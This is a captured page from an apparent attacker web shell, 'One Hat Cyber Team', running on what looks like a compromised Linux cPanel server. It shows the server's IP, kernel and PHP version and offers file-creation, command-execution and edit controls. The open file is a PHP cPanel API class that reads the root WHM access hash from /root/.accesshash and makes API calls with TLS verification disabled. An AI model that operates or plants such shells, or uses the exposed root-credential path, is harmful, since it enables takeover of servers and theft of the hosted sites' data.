One Hat Cyber Team
Your IP :
216.73.217.131
Server IP :
185.33.55.30
Server :
Linux cl30.webspacecontrol.com 5.14.0-611.38.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 10 17:21:28 EDT 2026 x86_64
Server Software :
Apache
PHP Version :
8.1.34
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
opt
/
cxs2
/
app
/
libs
/
CXS
/
Edit File:
Cpanel.php
<?php /** * Cpanel, cpanel related stuff * * @copyright Copyright (c) 2007 DotRoll Kft. (http://www.dotroll.com) * @author Zoltán Istvanovszki <zoltan.istvanovszki@dotroll.com> * @since 2017.06.09. * @package CXS_2.0 */ namespace CXS; class Cpanel extends CommonComponent { /** * * @var string Access hash */ protected $accesshash = null; /** * * @var string Server */ protected $server = null; /** * Init cpanel */ public function onConstruct() { $this->setCredentials(); } /** * Set credentials * * @return $this \CXS\Cpanel */ public function setCredentials(): \CXS\Cpanel { $this->accesshash = \file_get_contents('/root/.accesshash'); $this->server = $this->getHostname(); return $this; } /** * Get cpanel API result * * @param string $curl cPanel API endpoint * @param string $type Api type json/xml * @return mixed */ public function cAPI(string $curl, string $type = 'json') { $socket = \curl_init(); \curl_setopt($socket, \CURLOPT_CONNECTTIMEOUT, 20); \curl_setopt($socket, \CURLOPT_TIMEOUT, 240); \curl_setopt($socket, \CURLOPT_SSL_VERIFYHOST, false); \curl_setopt($socket, \CURLOPT_SSL_VERIFYPEER, false); \curl_setopt($socket, \CURLOPT_RETURNTRANSFER, true); $curl = "https://{$this->server}:2087/$type-api/$curl"; \curl_setopt($socket, \CURLOPT_HTTPHEADER, ["Authorization: WHM root:" . \preg_replace("'(\r|\n)'", "", $this->accesshash)]); \curl_setopt($socket, \CURLOPT_URL, $curl); $result = \curl_exec($socket); if ($result == false) { $this->push("curl_exec threw error \"" . curl_error($socket) . "\" for $curl", true); return []; } \curl_close($socket); $socket = null; unset($socket); if ($type == 'json') { return \json_decode($result, true); } return \json_decode(\json_encode((array) \simplexml_load_string($result, null, \LIBXML_NOERROR | \LIBXML_NOWARNING)), true); } /** * Call cPanel API and get result(s) * * @param string $module cPanel API or UAPI Module name * @param string $function cPanel API or UAPI Function name * @param string $username cPanel User * @param array $parameters Variable Names and Values * @param int $apiversion cPanel API Version * @param string $output Output format (json or xml) * @param string $api The WHM API function to call. For cPanel API1, cPanel API2, and UAPI, use the cpanel function * @return mixed */ public function uapi(string $module, string $function, string $username = '', array $parameters = [], int $apiversion = 3, string $output = 'json', string $api = 'cpanel') { $query = \array_merge([ "{$api}_{$output}api_apiversion" => $apiversion, "{$api}_{$output}api_module" => $module, "{$api}_{$output}api_func" => $function, ], $parameters); if (!empty($username)) { $query["{$api}_{$output}api_user"] = $username; } return $this->cAPI('cpanel?' . \http_build_query($query), $output); } }
Simpan